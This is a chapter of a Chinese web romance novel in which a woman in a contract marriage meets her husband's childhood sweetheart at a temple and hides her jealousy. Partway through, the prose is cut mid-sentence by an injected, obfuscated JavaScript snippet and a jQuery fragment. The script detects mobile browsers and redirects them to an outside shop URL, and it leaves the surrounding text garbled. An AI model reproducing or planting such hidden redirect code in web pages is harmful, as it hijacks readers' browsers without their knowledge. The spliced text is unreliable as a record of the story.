7. 绝对不会多想

作品:《指挥使夫人,今日和离成功了吗?

    “你很着急?”


    谁知,江敛好似受奇耻大辱一般,突然冷沉着一张脸,盯着她的眼睛发问。


    江敛那双凤眼,不笑时自带一股强势威压。


    藏月被盯得有些凉飕飕的。


    她也有些懵。


    不是大哥,当初甩出和离书的人,好像是他吧,她如此急人之所急,他不是应该高兴吗?


    腹诽归腹诽,面上还是要应付一下的。


    藏月干笑两声:“我这不是为大人你着想嘛,你我早点和离,你也能想娶谁就娶谁,完全没有任何阻碍和负担。”


    江敛却硬邦邦地甩出一句:“没带印信。”


    藏月:“……”


    事儿逼!


    她确实也做不到咬破手指来按手印。


    理由正当,但也不妨碍她骂他!


    同处一室,只要男女双方没有旁的心思,就定然生不出什么暧昧来。


    只会有人生病。


    江敛顶着寒冷,披着件大氅坐在那儿,挑灯夜读一整夜,忙着苦读赶考的书生都没他那么拼命。


    寒冻一夜,江敛一早就在那儿“阿嚏阿嚏”地打喷嚏,直接把榻上的藏月给干醒过来。


    与陌生男人共处一室,轻易哪能睡得着。


    她听着他的翻书声熬到后半夜,死活撑到凌晨,实在困乏才顶不住睡过去。


    她掀动沉重的眼皮,很快从床上坐起。


    一掀开被子,凉气就嗖嗖往身上涌。


    她是和衣而眠的,起来没有能在外面加的衣服,被凉气一激,也“阿嚏阿嚏”连打两个喷嚏。


    突然头顶一暗一重,一携带着某人体温的大氅,就这么兜头罩下。


    不用想也知道,这大氅是谁身上的。


    本就自顾不暇,现在还把大氅给她。


    感受着温暖的藏月,在半明半暗之间,生出两分真心实意的感激。


    “多谢大人。”藏月扯下大氅的瞬间道。


    “只是不想你生病,再给我们添麻烦。”江敛冷声道。


    藏月乖巧道:“明白,大人放心,我绝不会多想。”


    说完,她也没有急着将大氅往自己身上披。


    她马车的箱子里,自己也带着一件大氅,只是当时雨太大,没去拿出来。


    这会儿天已见亮,雨势变小,等会叫雪信去帮她取一趟就是。


    她便走上前准备将大氅还给江敛。


    谁知江敛也突然从座位上起身,两人一下碰到一起,藏月鼻尖的一层清鼻涕,还不小心擦在江敛的前襟上。


    为免对方发现奚落自己,她赶紧将大氅往他怀里一放,顺便不着痕迹地擦擦他前襟。


    心虚作祟,她这嘴上也开始胡说八道起来:“你穿吧,长得再好看也没啥用,风一吹还是会冷。”


    房间里的气温,一瞬间好像变得更冷。


    藏月见江敛还没反应过来,便提着裙子快步走出去。


    饶是见过世面的江敛,仍是被藏月弄得接不上话来,只能微微发愣看着怀里的大氅。


    令藏月没想到的是,这件她没披上的大氅,最后却落到别人身上。


    这事儿,还得从吃早膳后准备回程时说起。


    那岑岱岑大人听说他们要回城,就遣人来叫江敛,说是有事情拜托他。


    按报到时间,他应该今天出现。


    现下,肯定办不到。


    可延迟报到,罚俸尚属轻的,只怕朝中有人抓着此事,大做文章,安他一个怠慢的罪名,届时处罚更严重。


    家人不在身侧,他便只能牢牢抓住江敛,这根救命稻草。


    江敛应邀前去厢房之时,打从寺庙的外头风风火火跑来一行人。


    有男有女,有主子也有奴仆。


    等这行人走近,藏月被里头一个妙龄女子的美貌冲击到。


    妙龄女子穿着一身雾紫色的八破裙,脚步交换间,整个人轻盈得像只蝴蝶似的,随着她腰间的绣花绸带翩然而至。


    她发丝轻挽,一张脸更是绝色,看上去矜贵又优雅,处在人群里那样突出,仿佛身上像被镀上一层柔光。


    团宠文里的万人迷,果真不是凡品!


    难怪江敛对她珍而藏之,无论如何都要把正妻之位给她留着。


    一行人简单的与江家老太君寒暄几句,很快就从他们身边走过。


    只是,一行人离开之前,藏月察觉到落在自己身上的一道视线,她一偏头,就瞧见岑之薇果真毫不掩饰地看着她。


    即便被她抓个正着,对方也毫不躲闪,反而冲她咧嘴一笑。


    当真是微微一笑,很倾城啊。


    良久。


    江敛终于从厢房那边出来。


    藏月先是听见的声音。


    一个清泠泠的声音说:“这次多亏江敛哥,要不是你和祖母正好撞见,还不知道会发生什么事呢?”


    她们本来跟老太君几人一起,在长阶旁的亭子里等的。


    不过,她嫌石凳冰凉,又不好一直在人跟前杵着,就走出亭子去看花。


    等她循着声音,隔着一个长阶望过去,正好就撞上江敛眼睛黏在岑之薇身上的模样。


    这眼神,分明有点东西。


    郎才女貌,一对璧人,还有着最萌身高差。


    如果不是立场不对,她都有点磕他俩,毕竟对眼睛好。


    江敛:“举手之劳,何足挂齿。”


    “我们上一次见面,还是五年前举家离开盛京的时候。等我们在盛京城里安顿好,我定要拎着酒上门找江兄畅饮。”


    说这句话的,是岑之薇身边的清俊男子。


    他瞧着比岑之薇年长些,眉目间与岑之薇有着两分相似。


    想来两人应该是兄妹关系。


    江敛边走边说,“好,有时间,随时来。”


    “我许久不见祖母,江敛哥,哥哥,等下我想坐祖母的车回盛京。”


    岑之薇声音甜甜的,十分动听,不过却有几分发颤,想来是冻的。


    “嗯,祖母应该也会很高兴。”江敛说着,赶忙取下自己身上的大氅,顺手就给人披在肩头:“山上凉。”


    同样是给大氅,大氅还是同一件,给她就是胡乱一扔,给人家就是轻轻一披。


    果然白月光的杀伤力就是不一样哈。


    “谢谢江敛哥。”仍旧是甜甜的声线,又柔,像水一样,“这感觉真好,好像回到我们小时候,那时江敛哥和哥哥总爱纵马驰骋,而我就寻个地方作画,好不自由。”


    “是啊。”江敛淡声道。


    “日子过得真快啊!”岑之荀也应和。


    这边正在上演追忆欢乐往昔的戏码,旁的声音也被风吹进她耳朵里。


    “哎,那个是岑家的小女儿岑之薇吗?之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816029|190881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前我有幸与她有过一面之缘。”


    “果然和传闻中一样,国色天香,风华绝代。难怪江家的独子,要将正妻之位留给她。”


    “岂止啊,听闻她的丹青,在南城一带那可是出名的一画难求,她回到盛京城后,只怕岑家的门槛都要让人踏破。”


    看过这么多小说,这样的发言,她完全不陌生。


    天之骄女的氛围感烘托到位,真是令人艳羡呐。


    雪信:“主子,那些人胡说八道,你别往心里去。”


    藏月回头看一眼江家老太君,见她们注意力不在旁人,正自顾聊着,便道:“我不往心里去,我家要是也有个这样的独子,都不用我那独子说,我一定把所有位置都留给她。”


    雪信:“……”


    主子这是气疯了吗?


    回程,岑家兄妹确定要与他们一起走,两人替父先行一步,去处理岑岱报到推迟一事,说是不好那么麻烦江敛。


    “这位是藏月姐,没错吧?”


    岑之薇走到近旁来,突然伸手亲昵地牵起藏月的手,人笑着,模样天真烂漫,像一棵树上最好看的那朵娇花。


    藏月越发看得痴迷。


    她似有一瞬间的恍惚,就在岑之薇手指上佩戴的一枚血玉戒指碰到她的时候。


    但她很快就从美色里将自己硬拔出来,在她腕上碎银子手链滑动的瞬间。


    反应过来后。


    藏月:“??”


    原主和女主在这之前并不认识,那这不是她们第一次见面吗?


    她上来就拉人手,多冒昧呀!


    藏月心下纳闷,视线随意一转,落在岑之薇的肩上。


    察觉到她这个动作的岑之薇,突然有些羞涩的解释:“藏月姐,这是江敛哥看我冷,好心给我披上的,我俩从小一起长大,情同姐妹,你应该不会多心吧?”


    “当然不会。”藏月微笑道。


    她回答得迅速又敞亮。


    “你们感情深厚,往常如何,现在也当如何,不用受我影响。”


    她和江敛签订五年协议,也算是雇佣关系,她一个拿月俸的小员工,自是无权置喙顶头上司的感情生活。


    话落,藏月感觉自己被一道炙热的视线包裹住。


    她抬眼,恰好与江敛四目相对。


    她给他一个“放心,姐懂你”的微笑表情。


    江敛深深看她一眼,随即垂下视线。


    藏月准备收回视线的当口,又瞧见江敛身边站着的岑之荀,此时也正盯着她。


    那是一种有着轻蔑、生气、意外和探究的复杂眼神,藏月也懒得去探究其中深意,继续收回该收回的视线。


    “那我就放心了,我还怕姐姐你会误会呢。”说着,岑之薇脸上绽开一抹轻松的喜色。


    回程坐车,岑之荀单独一辆车,藏月照例和江敛一辆,剩下老太君和岑之薇同乘。


    原本上车之前,岑之薇说许久未见,有许多话要同江敛说,要拉着江敛坐老太君的车。


    江敛没吱声。他盯着自己的前襟不知在看什么。


    于是,岑之薇又将视线转向藏月:“藏月姐你不介意吧?”


    她带着一抹人畜无害的笑容。


    藏月也笑:“怎么会?只要大人同意,我没有任何意见,我甚至还可以给你们多腾一辆马车来。”


    她可以去跟雪信她们挤挤。